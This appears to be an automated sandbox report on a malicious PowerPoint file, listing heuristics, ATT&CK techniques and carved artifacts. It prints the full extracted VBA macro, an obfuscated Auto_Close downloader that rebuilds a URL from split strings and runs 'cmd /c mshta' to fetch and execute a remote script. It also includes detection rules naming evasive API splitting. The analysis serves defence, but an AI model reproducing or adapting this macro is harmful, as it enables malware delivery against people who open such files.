MALICIOUS
220
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains a VBA macro that executes upon opening, specifically within the Auto_Close function. This macro uses obfuscated string concatenation to construct a command that downloads and executes a payload from a constructed URL. The primary technique observed is the use of Visual Basic for Application (VBA) to execute commands, specifically 'cmd /c mshta' to fetch and run a remote script.
Heuristics 5
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATIONVBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 694 bytes |
SHA-256: 57825654824ab1bd9e6b956fa71419b41522e4310de28d96e837a4e57b5bd049 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Module1" Function Auto_ClOse() As Variant maviya11 = " h" + "t" + "" + "" + "" + "" + "t" + "p" + ":" + "/" + "/" + "1" + "2" + "3" + "0" + "9" + "4" + "8" maviya22 = "%" + "1" + "2" + "3" + "0" + "9" + "4" + "" + "" + "" + "" + "8" + "@" + "b" + "i" + "" + "t" + "l" + "y" + "." + "co" + "m" + "/" maviya33 = "uiwqhdbjkasbd" + "aa" + "dtyasdha" + "etyqgdbhjs" : Shell "pi" + "n" + "g": Shell "pi" + "n" + "g": Shell "pi" + "n" + "g": Shell "p" + "" + "" + "i" + "ng": Shell "c" + "m" + "d /" + "c m" + "s" + "h" + "t" + "a" + maviya11 + maviya22 + maviya33: Shell "pi" + "ng": Shell "pi" + "ng": Shell "pi" + "ng": Shell "p" + "i" + "n" + "g" End Function |
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: ppt/vbaProject.bin | 14336 bytes |
SHA-256: c619af7b4a8a1ab713a9776e4cedcdc712413054f89b04d3e21e2c58ff7693a9 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.